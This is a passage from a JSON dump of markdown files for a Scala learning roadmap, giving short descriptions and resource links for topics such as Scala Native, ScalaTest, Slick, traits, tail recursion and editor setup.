    "content": "# Scala Native\n\nScala Native is an optimizing ahead-of-time compiler and lightweight managed runtime designed specifically for Scala. By leveraging LLVM, Scala Native compiles Scala code directly to native executables, eliminating the need for a Java Virtual Machine (JVM). This results in faster startup times and smaller memory footprints, making it suitable for environments where performance and resource efficiency are critical. Scala Native also offers interoperability with C libraries, allowing developers to integrate with existing native libraries seamlessly. The compilation process involves converting Scala code to an intermediate format called Native Intermediate Representation (NIR), which is then transformed into an LLVM IR file for execution. The project is supported by the École polytechnique fédérale de Lausanne (EPFL) and has a growing community of contributors.\n\nVisit the following resources to learn more:\n\n- [@official@Scala Native Documentation](https://scala-native.org/)\n- [@opensource@Scala Native GitHub Repository](https://github.com/scala-native/scala-native)\n- [@article@Getting Started with Scala Native: A Comprehensive Guide for Beginners](https://medium.com/@diehardankush/getting-started-with-scala-native-a-comprehensive-guide-for-beginners-dedafeed7f25)\n- [@article@Building Native Applications in Scala Using Scala Native | Baeldung on Scala](https://www.baeldung.com/scala/native-apps-scala-native)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scala-on-android@LWum40Gr36CMuCgoTCNHM.md",
    "content": "# Scala on Android\n\nThis is a repo for examples, small tutorials, and some chaotic notes on how to write Android apps with GraalVM, Gluon Mobile, JavaFX, and Scala.\n\nVisit the following resources to learn more:\n\n- [@article@Scala on Android](https://github.com/makingthematrix/scalaonandroid)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scalacli@AleJKnVNfSoksZxhR-oXc.md",
    "content": "# ScalaCLI\n\nScalaCLI is a command-line tool designed to simplify the process of learning and using Scala. It is optimized for speed and ease of use, making it ideal for scripts, playgrounds, and single-module projects. ScalaCLI manages its own dependencies and supports features like incremental compilation and dependency resolution. It does not require a configuration file, and all configurations can be provided through directives embedded in Scala files or via command-line arguments. Resources\n\nVisit the following resources to learn more:\n\n- [@official@Scala CLI Official Documentation](https://scala-cli.virtuslab.org/)\n- [@official@Getting Started with Scala CLI](https://scala-cli.virtuslab.org/docs/getting_started/)\n- [@opensource@Scala CLI GitHub Repository](https://github.com/VirtusLab/scala-cli)\n- [@article@Introduction to Scala-CLI on Baeldung](https://www.baeldung.com/scala/scala-cli-intro)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scalafx@pU1ELrp98okX5IOW8sNiX.md",
    "content": "# ScalaFX\n\nScalaFX is a UI DSL written within the Scala Language that sits on top of JavaFX. Every ScalaFX application is also a valid Scala application. It supports full interoperability with Java and can run anywhere the Java Virtual Machine (JVM) and JavaFX are supported. ScalaFX uses a simple, hierarchical pattern for creating new objects and building up the scene graph. Here is a simple, complete application example that creates a new stage (window) with a rectangle that changes color based on mouse events.\n\nVisit the following resources to learn more:\n\n- [@official@ScalaFX](https://scalafx.org/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scalajs@phv4IeRtLcWcLJuiradiv.md",
    "content": "# Scala.js\n\nScala.js is a Scala compiler that compiles Scala code to JavaScript, enabling Scala programs to run in web browsers or Node.js. It optimizes Scala code into highly efficient JavaScript, ensuring fast turnaround times with incremental compilation. Scala.js provides strong typing, which catches typos and type errors immediately, making the development process more reliable and efficient. It also offers seamless interoperability with JavaScript libraries, allowing developers to use popular libraries like React and AngularJS directly from their Scala.js code. This makes it easier to leverage existing JavaScript ecosystems while benefiting from Scala's type system and tooling. Additionally, Scala.js supports full-stack development by allowing code to be shared between the frontend and backend, ensuring consistency and reducing the risk of mismatches.\n\nVisit the following resources to learn more:\n\n- [@official@Scala.js Official Website](https://www.scala-js.org/)\n- [@article@Hands-on Scala.js](https://www.lihaoyi.com/hands-on-scala-js/)\n- [@article@Introduction to Scala.js | Baeldung on Scala](https://www.baeldung.com/scala/scala-js)\n- [@article@The importance of Scala.js](https://www.scalawilliam.com/importance-scalajs/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scalameta@sJqixwq4_tCCRBE3XKNuw.md",
    "content": "# Scalameta\n\nScalameta is a metaprogramming tool for Scala that provides high-quality syntactic and semantic analysis and code generation. It was widely used in Scala 2 for advanced metaprogramming scenarios and continues to be relevant in Scala 3. Scalameta operates at the meta level, taking programs as input and producing syntactic or semantic information or rewritten programs as output. It supports annotation macros and is designed to be more reasonable and debuggable compared to traditional macros.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to code generation with Scalameta](https://www.michaelpollmeier.com/2016/12/01/scalameta-code-generation-tutorial)\n- [@article@Scalameta: A Redesigned Scala Macros Programming Tool Library](https://blog.krybot.com/t/scalameta-a-redesigned-scala-macros-programming-tool-library/2403)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scalatest@9JxLFMiWH7YAINTpoMhCA.md",
    "content": "# ScalaTest\n\nScalaTest is a flexible and comprehensive testing framework for Scala. It integrates with various tools like JUnit, TestNG, Ant, Maven, sbt, ScalaCheck, and mocking frameworks such as Mockito and ScalaMock. ScalaTest allows you to choose from multiple testing styles, such as FlatSpec, FunSuite, and FunSpec, to fit your team's preferences and project requirements. It is widely used for testing Scala, Scala.js, Scala Native, Dotty (Scala 3), and Java code.\n\nVisit the following resources to learn more:\n\n- [@official@ScalaTest Official Website](https://www.scalatest.org/)\n- [@article@Introduction to Testing With ScalaTest | Baeldung on Scala](https://www.baeldung.com/scala/scalatest)\n- [@article@Unit testing in scala using scalatest | by Harshal Patel | Medium](https://hrpatel6699.medium.com/unit-testing-in-scala-using-scalatest-a73319c094f6)\n- [@article@Scala Testing with ScalaTest: A Beginner's Guide to Testing Styles | Rock the JVM](https://rockthejvm.com/articles/scala-testing-with-scalatest-a-beginners-guide-to-testing-styles)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scalatest@iD1fWHJi5mS38R5mQ7g3_.md",
    "content": "# ScalaTest\n\nScalaTest is a versatile testing framework for Scala that helps programmers write both integration and performance tests. For integration testing, ScalaTest allows you to test the interactions between different components of your application, such as APIs, databases, or services, ensuring they work together as expected. You can use ScalaTest with mocking libraries like ScalaMock to simulate external dependencies, making it easier to isolate and test specific parts of your system. For performance testing, while ScalaTest itself isn't designed for benchmarking, you can use it to verify that your code meets performance requirements by measuring execution times and validating response times.\n\nVisit the following resources to learn more:\n\n- [@official@ScalaTest Official Website](https://www.scalatest.org/)\n- [@article@Introduction to Testing With ScalaTest | Baeldung on Scala](https://www.baeldung.com/scala/scalatest)\n- [@article@Unit testing in scala using scalatest | by Harshal Patel | Medium](https://hrpatel6699.medium.com/unit-testing-in-scala-using-scalatest-a73319c094f6)\n- [@article@Scala Testing with ScalaTest: A Beginner's Guide to Testing Styles | Rock the JVM](https://rockthejvm.com/articles/scala-testing-with-scalatest-a-beginners-guide-to-testing-styles)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scalatra@mGxkqA78ZW3oV79RPWz5J.md",
    "content": "# Scalatra\n\nScalatra is a lightweight, Sinatra-like web framework for Scala. It is designed to be simple, accessible, and easy to use, making it a practical way to learn Scala and build high-performance websites and APIs.\n\nVisit the following resources to learn more:\n\n- [@opensource@GitHub - scalatra/scalatra: Tiny Scala high-performance, async web framework, inspired by Sinatra](https://github.com/scalatra/scalatra)\n- [@official@Getting started with Scalatra](https://scalatra.org/getting-started/first-project.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scalikejdbc@Qc8YYIBFQb2JzHRTPVn86.md",
    "content": "# ScalikeJDBC\n\nScalikeJDBC is a tidy SQL-based database access library for Scala developers. It naturally wraps JDBC APIs and provides easy-to-use APIs, making it intuitive and highly flexible. ScalikeJDBC is designed to be practical and production-ready, offering features like QueryDSL for type-safe and reusable code.\n\nVisit the following resources to learn more:\n\n- [@official@ScalikeJDBC Cookbook](https://scalikejdbc.gitbooks.io/scalikejdbc-cookbook/content/en/)\n- [@article@ScalikeJDBC Tutorial for Beginners](https://www.slideshare.net/seratch/scalikejdbc-tutorial-for-beginners)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scope--visibility@w59GmNK0wHo6tADDTaaQS.md",
    "content": "# Scope & Visibility\n\nScope and visibility in Scala determine where variables, methods, and classes can be accessed within your code. Scope defines the region of code where a variable is valid and accessible, while visibility controls whether a member (variable or method) of a class or object can be accessed from outside that class or object. Understanding these concepts is crucial for writing well-structured, maintainable, and secure Scala programs."
  },
  {
    "path": "src/data/roadmaps/scala/content/sealed-traits@-5hM5DFinTWjkzlubUclR.md",
    "content": "# Sealed traits\n\nSealed traits are used to define closed hierarchies where all possible subclasses are known. They can be extended only in the same file as their declaration, allowing the compiler to perform exhaustiveness checking. This feature is particularly useful for pattern matching.\n\nVisit the following resources to learn more:\n\n- [@article@What is a sealed trait? - Stack Overflow](https://stackoverflow.com/questions/11203268/what-is-a-sealed-trait)\n- [@article@Sealed Keyword in Scala | Baeldung on Scala](https://www.baeldung.com/scala/sealed-keyword)"
  },
  {
    "path": "src/data/roadmaps/scala/content/seq@IBkdiusI08JFfHDS6VKsO.md",
    "content": "# Seq\n\nA `Seq` in Scala represents an ordered collection of elements. Think of it like a list where the order in which you add items matters. You can access elements by their position (index), and `Seq` offers a variety of methods for manipulating the sequence, such as adding, removing, and searching for items. It's a fundamental data structure in Scala for working with ordered data.\n\nVisit the following resources to learn more:\n\n- [@official@Seq](https://www.scala-lang.org/api/current/scala/collection/Seq.html)\n- [@video@Linear Collections in Scala: Seq, List, Array, Vector, Set, Range](https://www.youtube.com/watch?v=UvUkpduo6uE)"
  },
  {
    "path": "src/data/roadmaps/scala/content/set@4yYOxlOkQgkxZS6_94CT-.md",
    "content": "# Set\n\nA Set in Scala is a collection that holds unique elements. This means no duplicates are allowed. Sets are useful when you need to ensure that each item is only present once, like a group of unique user IDs or distinct product names. Scala provides both mutable and immutable Set implementations, allowing you to choose the behavior that best fits your needs.\n\nVisit the following resources to learn more:\n\n- [@official@Sets](https://docs.scala-lang.org/overviews/collections-2.13/sets.html)\n- [@article@Scala - Sets](https://www.tutorialspoint.com/scala/scala_sets.htm)\n- [@article@Scala: Whats the difference between \"Map\" vs \"Set\"? - Stack Overflow](https://stackoverflow.com/questions/45133364/scala-whats-the-difference-between-map-vs-set)"
  },
  {
    "path": "src/data/roadmaps/scala/content/setting-up-scala@D5djqvuGs8v__c9DrfOIT.md",
    "content": "# Setting Up Scala\n\nSetting up Scala involves installing the Scala compiler and build tools on your system. This allows you to write, compile, and run Scala programs. Typically, this includes downloading the Scala SDK, which contains the compiler and essential libraries, and often using a build tool like sbt (Simple Build Tool) to manage dependencies and build projects. The setup also frequently involves configuring your Integrated Development Environment (IDE) for Scala development, providing features like code completion and debugging."
  },
  {
    "path": "src/data/roadmaps/scala/content/shapeless@TwS5Ms3BlAsR6E9aI81aF.md",
    "content": "# Shapeless\n\nShapeless is a library for type-level programming in Scala, providing functionalities for generic programming using type classes and macros. It allows for type-safe manipulation and transformation of data structures at compile time, leveraging Scala's type system. Shapeless is known for its use of HLists (heterogeneous lists) and support for type-level computations, making it a cornerstone of advanced type-level programming in Scala.\n\nVisit the following resources to learn more:\n\n- [@article@Getting started with Shapeless](https://jto.github.io/articles/getting-started-with-shapeless/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/slick@L8g7EogMi61pF7Rxv5Srn.md",
    "content": "# Slick\n\nSlick is a Functional Relational Mapping (FRM) library for Scala that allows developers to query and access databases in a manner similar to working with Scala collections. It provides compile-time safety and composability, making it easier to write and maintain database queries. Slick supports various databases like PostgreSQL, MySQL, Oracle, and MS SQL Server, and offers both asynchronous and streaming APIs for efficient database interactions.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Slick on Baeldung](https://www.baeldung.com/scala/slick-intro)\n- [@article@Getting Started with Slick on Rock the JVM](https://rockthejvm.com/articles/getting-started-with-scala-slick)"
  },
  {
    "path": "src/data/roadmaps/scala/content/slinky@rG1Xfa4gmO_U61MTW_QPd.md",
    "content": "# Slinky\n\nSlinky is a framework for writing React apps in Scala, providing an experience similar to using ES6. It allows developers to leverage Scala's type safety and functional programming features while building React applications. Slinky supports React DOM, React Native, and other React-based platforms.\n\nVisit the following resources to learn more:\n\n- [@article@Slinky \"Hello, world\" Tutorial](https://alvinalexander.com/scala/scala.js-slinky-hello-world-tutorial-example/)\n- [@article@Slinky and React Tutorial](https://pme123.medium.com/slinky-doing-react-the-scala-way-f78ccf42bf8f)"
  },
  {
    "path": "src/data/roadmaps/scala/content/spark@z6TGywyQRmvbZaHnF_-eQ.md",
    "content": "# Spark\n\nApache Spark is a framework for big data processing that integrates seamlessly with Scala. It provides a unified engine for various data processing tasks, including batch processing, interactive queries, streaming, machine learning, and graph processing.\n\nVisit the following resources to learn more:\n\n- [@official@Spark Docs](https://spark.apache.org/docs/latest/)\n- [@article@Big Data Analysis with Scala and Spark on Coursera](https://www.coursera.org/learn/scala-spark-big-data)\n- [@article@Apache Spark with Scala Guide](https://www.chaosgenius.io/blog/apache-spark-with-scala/)\n- [@article@Read Articles about Apache Spark](https://towardsdatascience.com/tag/apache-spark/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/scala/content/specs2@99N6zSHIiXLnSWroEpZZm.md",
    "content": "# specs2\n\nspecs2 is a library for writing executable software specifications in Scala. It allows you to write specifications for individual classes (unit specifications) or entire systems (acceptance specifications). specs2 is designed to work with SBT and integrates with various testing styles and frameworks.\n\nVisit the following resources to learn more:\n\n- [@official@Specs2 - Scalatra](https://scalatra.org/guides/2.6/testing/specs2.html)\n- [@book@Specs2 - Testing in Scala Book](https://www.oreilly.com/library/view/testing-in-scala/9781449360313/ch04.html)\n- [@article@How to make working with Specs2 much easier - Scalac](https://scalac.io/blog/specs2-working-testing/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/strings@cwhAAcKtzUKcXBSEUdIAQ.md",
    "content": "# Strings\n\nStrings represent sequences of characters. They're used to store and manipulate text. You create them by enclosing characters within double quotes, like `\"Hello, world!\"`. Strings are immutable, meaning you can't change them directly; operations on strings produce new strings. Scala provides a rich set of methods for string manipulation, including concatenation, substring extraction, searching, and replacement."
  },
  {
    "path": "src/data/roadmaps/scala/content/sttp@Igr2iwZBn3qO6X5ol3YMt.md",
    "content": "# sttp\n\nsttp is an open-source HTTP client for Scala that provides a clean, programmer-friendly API to describe HTTP requests and handle responses. It supports various approaches to writing Scala code, including synchronous (direct-style), Future-based, and functional effect systems like cats-effect, ZIO, Monix, Kyo, and scalaz. sttp is designed to be extensible and integrates seamlessly with popular libraries for JSON handling, logging, metrics, and tracing.\n\nVisit the following resources to learn more:\n\n- [@official@Usage examples - sttp 3 documentation](https://sttp.softwaremill.com/en/v3.0.0/examples.html)\n- [@opensource@Sending HTTP requests with sttp | The Scala Toolkit | Scala Documentation](https://github.com/scalatra/scalatra)\n- [@article@Introducing sttp | SoftwareMill](https://softwaremill.com/introducing-sttp-the-scala-http-client/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/sublime@RXBh4SW__eVXjiTP8v07G.md",
    "content": "# Sublime Text\n\nSublime Text is a sophisticated text editor known for its speed, ease of use, and features. It supports a wide range of programming languages, including Scala, through plugins and packages. Sublime Text offers features like multiple selections, a command palette, and extensive customization options, making it a popular choice for developers. With the Metals plugin, Sublime Text provides intelligent code completion, diagnostics, and refactoring capabilities for Scala. Resources\n\nVisit the following resources to learn more:\n\n- [@official@Sublime Text](https://www.sublimetext.com/)\n- [@official@Sublime Text | Scalameta](https://scalameta.org/metals/docs/editors/sublime/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/tail-recursion@qEdusMVJk68GRdH-vP6ts.md",
    "content": "# Tail recursion\n\nTail recursion is a special form of recursion where the recursive call is the last operation in the function. This allows the Scala compiler to optimize the recursion to prevent stack overflow and improve performance.\n\nVisit the following resources to learn more:\n\n- [@article@Tail Recursion in Scala | Baeldung on Scala](https://www.baeldung.com/scala/tail-recursion)\n- [@article@Scala Tutorial | Tail Recursion](https://www.scala-exercises.org/scala_tutorial/tail_recursion)\n- [@article@Writing Tail-Recursive Algorithms in Scala (and the tailrec annotation) | alvinalexander.com](https://alvinalexander.com/scala/fp-book/tail-recursive-algorithms/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/tapir@2esx4ofgIGIGmdwHyDQg2.md",
    "content": "# Tapir\n\nTapir is a library to describe HTTP APIs, expose them as a server, consume as a client, and automatically document using open standards. It is designed to be fast and developer-friendly, with a focus on type-safety, readability, and discoverability. Tapir provides integrations with many libraries in the Scala ecosystem, enhancing the developer’s toolbox with custom types, JSON handling, and observability features.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Tapir | Baeldung on Scala](https://www.baeldung.com/scala/tapir)"
  },
  {
    "path": "src/data/roadmaps/scala/content/testing@B-akazRqoFzc1EOuF7qQx.md",
    "content": "# Testing\n\nTesting is the process of checking if a piece of software works as expected. It involves running the software with different inputs and conditions to find any errors, bugs, or unexpected behavior. The goal is to make sure the software is reliable, stable, and meets the requirements it was designed for."
  },
  {
    "path": "src/data/roadmaps/scala/content/totalpartial-funcs@eje4CLMuZobVwd0EBwwim.md",
    "content": "# Total / partial functions\n\nA total function is a function that is defined for every possible input value it can be given. In contrast, a partial function is a function that is only defined for a subset of possible input values. Partial functions can be used with collection methods like collect and collectFirst to manipulate and transform data. Resources\n\nVisit the following resources to learn more:\n\n- [@article@Partial Functions in Scala | Baeldung on Scala](https://www.baeldung.com/scala/partial-functions)\n- [@article@How to create and use partial functions in Scala | alvinalexander.com](https://alvinalexander.com/scala/how-to-define-use-partial-functions-in-scala-syntax-examples/)\n- [@article@Scala Partial Function - Ways to Define Partial Functions in Scala - DataFlair](https://data-flair.training/blogs/scala-partial-function/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/trait@vKPb5IZgfciKwUZismkHJ.md",
    "content": "# trait\n\nA trait is a type that defines a contract of fields and methods, which can be either abstract (unimplemented) or concrete (implemented). Traits are used to share behavior across classes, enabling code reuse without relying on single inheritance. Traits are similar to Java 8’s interfaces. Classes and objects can extend traits using the extends keyword, but traits cannot be instantiated and therefore have no parameters.\n\nVisit the following resources to learn more:\n\n- [@official@Traits | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/traits.html)\n- [@article@Scala - Traits](https://www.tutorialspoint.com/scala/scala_traits.htm)\n- [@article@Introduction to Traits in Scala | Baeldung on Scala](https://www.baeldung.com/scala/traits)"
  },
  {
    "path": "src/data/roadmaps/scala/content/trampolines@VV-Drj_JlIppItHq4PRFc.md",
    "content": "# Trampolines\n\nTrampolines in Scala are used to avoid stack overflow errors in deep recursion by moving the computation from the stack to the heap. The TailRec class is part of the scala.util.control.TailCalls are used to implement trampolining.\n\nVisit the following resources to learn more:\n\n- [@article@Recursion and Trampolines in Scala · GitHub](https://gist.github.com/eamelink/4466932a11d8d92a6b76e80364062250)\n- [@article@Tail calls, @tailrec and trampolines](https://rd.nz/2009/04/tail-calls-tailrec-and-trampolines.html)\n- [@article@How Trampoline Works in Scala](https://free.cofree.io/2017/08/24/trampoline/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/try@y4sElb6dWw0vpGNPgRrvC.md",
    "content": "# Try\n\nThe Try class in Scala represents a computation that may fail during evaluation by raising an exception. It holds either a successfully computed value or the exception that was thrown.\n\nVisit the following resources to learn more:\n\n- [@official@Scala Standard Library 2.13.6 - scala.util.Try](https://www.scala-lang.org/api/2.13.6/scala/util/Try.html)\n- [@article@A Scala Try, Success, and Failure example | alvinalexander.com](https://alvinalexander.com/source-code/scala/scala-try-success-and-failure-example/)\n- [@article@Handling Exceptions using Try/Catch/Finally in Scala | ScalaJobs.com](https://scalajobs.com/blog/handling-exceptions-using-try-catch-finally-in-scala)"
  },
  {
    "path": "src/data/roadmaps/scala/content/trycatch@4NPM4TQawMx6-uD0E2blP.md",
    "content": "# Try/catch\n\nException handling is done using the try/catch/finally construct, similar to Java. The try block contains code that might throw an exception, the catch block handles the exception, and the finally block is used for cleanup or other operations that must be performed regardless of whether an exception was thrown. Scala also encourages the use of functional error handling with monads like Try, Option, and Either, which provide a more composable and functional way to handle errors and exceptional cases.\n\nVisit the following resources to learn more:\n\n- [@official@try/catch/finally Expressions | Scala Book | Scala Documentation](https://docs.scala-lang.org/overviews/scala-book/try-catch-finally.html)\n- [@article@Handling Exceptions using Try/Catch/Finally in Scala | ScalaJobs.com](https://scalajobs.com/blog/handling-exceptions-using-try-catch-finally-in-scala)"
  },
  {
    "path": "src/data/roadmaps/scala/content/type-hierarchy@3zKEn33pENf2eNDGvjEAP.md",
    "content": "# Type hierarchy\n\nGeneric types allow you to write code that can work with different types while maintaining type safety. Generic classes and traits take a type as a parameter within square brackets. For example, Stack\\[A\\] is a generic class that can be used to create stacks of any type A. Scala's type hierarchy is unified, with Any as the top type, which is the supertype of all types, and Nothing as the bottom type, which is the subtype of all types.\n\nVisit the following resources to learn more:\n\n- [@official@Generic Classes | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/generic-classes.html)\n- [@official@Generics | Scala 3 - Book | Scala Documentation](https://docs.scala-lang.org/scala3/book/types-generics.html)\n- [@article@Basics of Generics in Scala | Baeldung on Scala](https://www.baeldung.com/scala/generics-basics)"
  },
  {
    "path": "src/data/roadmaps/scala/content/type-parameters@_6s7NV9qbJj_Y4z4_ge4f.md",
    "content": "# Type parameters\n\nType parameters are used to create generic classes, traits, and methods. Type parameters are enclosed in square brackets and can be used to define methods and classes that work with different types while maintaining type safety.\n\nVisit the following resources to learn more:\n\n- [@official@Polymorphic Methods | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/polymorphic-methods.html)\n- [@official@Generic Classes | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/generic-classes.html)\n- [@article@Basics of Generics in Scala | Baeldung on Scala](https://www.baeldung.com/scala/generics-basics)"
  },
  {
    "path": "src/data/roadmaps/scala/content/type-system@pvYS9XusP0WPCMvrOtHgr.md",
    "content": "# Type system\n\nThe Scala type system supports both object-oriented and functional programming paradigms. It is designed to be expressive and flexible, allowing developers to write concise and type-safe code. The type system includes features such as type inference, generics, variance annotations, type bounds, abstract types, higher-kinded types, type classes, and implicit resolutions. It is one of the most sophisticated type systems in any programming language, combining comprehensive ideas from both functional programming and object-oriented programming.\n\nVisit the following resources to learn more:\n\n- [@official@Types and the Type System | Scala 3 - Book | Scala Documentation](https://docs.scala-lang.org/scala3/book/types-introduction.html)\n- [@article@Type Hierarchies in Scala | Baeldung on Scala](https://www.baeldung.com/scala/type-hierarchies)\n- [@article@Chapter 6. The Type System · Scala in Depth](https://livebook.manning.com/book/scala-in-depth/chapter-6)"
  },
  {
    "path": "src/data/roadmaps/scala/content/typeclasses@RNBawkn6jQsX4fAjMBfo2.md",
    "content": "# Typeclasses\n\nTypeclasses are a concept used in functional programming to achieve ad-hoc polymorphism. They define a set of functions that can be implemented for a type fulfilling certain requirements, providing a way to add functionality to existing types without modifying their source code. Typeclasses are not natively supported in Scala but can be implemented using traits and implicit classes.\n\nVisit the following resources to learn more:\n\n- [@official@Type Classes | Scala 3 - Book | Scala Documentation](https://docs.scala-lang.org/scala3/book/ca-type-classes.html)\n- [@article@Type classes in Scala - Ad-hoc polymorphism - Scalac.io](https://scalac.io/blog/typeclasses-in-scala/)\n- [@article@Demystifying Type Classes in Scala: A Simple Guide | by Remis Haroon | Medium](https://medium.com/@remisharoon/demystifying-type-classes-in-scala-a-simple-guide-3a4766a59818)\n- [@article@Type Classes in Scala | Baeldung on Scala](https://www.baeldung.com/scala/type-classes)"
  },
  {
    "path": "src/data/roadmaps/scala/content/unapply-method@NcGlkEvp1t46EmX5GQRkD.md",
    "content": "# The unapply method\n\nThe unapply method is used to deconstruct instances through pattern matching. It is often used in extractor objects to extract data values compacted in objects. Resources\n\nVisit the following resources to learn more:\n\n- [@official@Extractor Objects | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/extractor-objects.html)\n- [@article@Understand how to use apply and unapply - Stack Overflow](https://stackoverflow.com/questions/18468786/understand-how-to-use-apply-and-unapply)\n- [@article@Scala pattern matching: apply the unapply | by Linas Medžiūnas | Wix Engineering | Medium](https://medium.com/wix-engineering/scala-pattern-matching-apply-the-unapply-7237f8c30b41)"
  },
  {
    "path": "src/data/roadmaps/scala/content/unit@nvUwMAiZdkKbMsFzc2h3r.md",
    "content": "# Unit\n\nUnit is a data type in Scala that represents a placeholder when no meaningful value needs to be returned. It's similar to `void` in languages like Java or C. The unit type has only one possible value, written as `()`. You'll often see it used as the return type of functions that perform side effects but don't produce a result, or when a function is required to return a value but there's no logical value to return."
  },
  {
    "path": "src/data/roadmaps/scala/content/upickle@4GXTv2Rq2oyp5fZ5EqaMz.md",
    "content": "# uPickle\n\nuPickle is a simple, fast, and dependency-free JSON serialization library for Scala. It is designed to handle statically-typed, tree-shaped, immutable data structures efficiently. uPickle is part of the Scala Toolkit and integrates well with other Scala libraries.\n\nVisit the following resources to learn more:\n\n- [@official@Scala Toolkit Documentation on uPickle](https://docs.scala-lang.org/toolkit/json-intro.html)\n- [@article@Reading and Writing JSON with uPickle](https://medium.com/@umanium/reading-and-writing-json-string-with-upickle-on-scala-3-b9b029e8efa2)"
  },
  {
    "path": "src/data/roadmaps/scala/content/utest@Ja0keWOyCECHo-dXgwFK8.md",
    "content": "# uTest\n\nuTest is a simple and convenient testing library for Scala. It provides essential features in their minimal form, avoiding unnecessary complexity. uTest allows you to organize tests in a hierarchical structure and run them at various levels, from individual tests to entire suites. It is designed to be straightforward to use, making it a good choice for developers who want to focus on writing tests without dealing with excessive configurations or features.\n\nVisit the following resources to learn more:\n\n- [@opensource@GitHub - com-lihaoyi/utest: A simple testing framework for Scala](https://github.com/com-lihaoyi/utest)\n- [@article@Introduction to uTest | Baeldung on Scala](https://www.baeldung.com/scala/utest-intro)\n- [@article@Unit testing with Scala: Libraries landscape | by Ivan Kurchenko | Medium](https://ivan-kurchenko.medium.com/testing-with-scala-libraries-landscape-61b4c6403455)"
  },
  {
    "path": "src/data/roadmaps/scala/content/variables--constants@-qLeSRC44_V-c8hoHyMqA.md",
    "content": "# Variables & Constants\n\nVariables are named storage locations that hold data, and their values can be changed during the program's execution. In Scala, variables are declared using the `var` keyword. On the other hand, constants are also named storage locations, but their values cannot be modified once they are assigned. Constants are declared using the `val` keyword in Scala, making them immutable. Choosing between `var` and `val` depends on whether you need to change the value of a data item during the program's runtime.\n\nVisit the following resources to learn more:\n\n- [@official@Two Types of Variables | Scala Book | Scala Documentation](https://docs.scala-lang.org/overviews/scala-book/two-types-variables.html)\n- [@article@Def, Var & Val in Scala | Baeldung on Scala](https://www.baeldung.com/scala/def-var-val)\n- [@article@Difference between var, val, and def in Scala? Examples | Java67](https://www.java67.com/2017/05/difference-between-var-val-and-def-in-Scala.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/variance@upZK3qxWKokNL3tlFKhK6.md",
    "content": "# Context bounds\n\nContext Bounds in Scala is a feature that provides a shorthand syntax for expressing the common pattern of a context parameter that depends on a type parameter. Context bounds are used to simplify the code for generic types and are particularly useful in the context of type classes.\n\nVisit the following resources to learn more:\n\n- [@official@Context Bounds | Scala 3 - Book | Scala Documentation](https://docs.scala-lang.org/scala3/book/ca-context-bounds.html)\n- [@article@Demystifying View and Context Bounds | Baeldung on Scala](https://www.baeldung.com/scala/view-context-bounds)\n- [@article@Context Bounds - Scala 3 - EPFL](https://dotty.epfl.ch/docs/reference/contextual/context-bounds.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/vector@p3FdTk1pqQoBK3_NKmLDb.md",
    "content": "# Vector\n\nVectors in Scala are indexed, immutable sequences. Think of them as similar to arrays, but with the key advantage of being immutable – meaning their contents cannot be changed after creation. This makes them very useful in concurrent programming and for data structures where you want to guarantee that data isn't accidentally modified. Vectors provide fast access to elements by index (like arrays), making them efficient for lookups and various data manipulations.\n\nVisit the following resources to learn more:\n\n- [@article@Collection types - Vector](https://docs.scala-lang.org/scala3/book/collections-classes.html#vector)\n- [@article@Benefits of Using Vector in Scala](https://www.baeldung.com/scala/vector-benefits)"
  },
  {
    "path": "src/data/roadmaps/scala/content/video-game-engines@vwvykjlIYXiNi2yfWZcrq.md",
    "content": "# Video game engines\n\nThe video game development landscape is ruled mainly by C++, but there is a small but active scene of games developed in JVM languages - for example, Minecraft was coded in Java. Scala's interoperability with Java makes it possible to develop video games using Java solutions, like LibGDX and LWJGL, but there are also game engines written directly in Scala."
  },
  {
    "path": "src/data/roadmaps/scala/content/views@52RX2tDml7raPbQpZCbnx.md",
    "content": "# Views\n\nViews are used to create lazy versions of collections. They are essentially reusable iterators that implement the same interfaces as regular collections.\n\nVisit the following resources to learn more:\n\n- [@official@Views | Collections | Scala Documentation](https://docs.scala-lang.org/overviews/collections-2.13/views.html)\n- [@official@Views | Collections (Scala 2.8 - 2.12) | Scala Documentation:](https://docs.scala-lang.org/overviews/collections/views.html)\n- [@article@What are views for collections and when would you want to use them? - Stack Overflow](https://stackoverflow.com/questions/3361478/what-are-views-for-collections-and-when-would-you-want-to-use-them)"
  },
  {
    "path": "src/data/roadmaps/scala/content/vim@ZmrehlOEUkjVJXiejyWt7.md",
    "content": "# VIm\n\nVim is a highly configurable text editor known for its efficiency and features. When equipped with the Metals plugin, Vim becomes a capable environment for Scala development, offering features like code completion, refactoring, and debugging.\n\nVisit the following resources to learn more:\n\n- [@official@Vim Main Page](https://www.vim.org/)\n- [@official@Vim | Scalameta](https://scalameta.org/metals/docs/editors/vim/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/vs-code@kK2gLsPax0kj_cUlfwaYm.md",
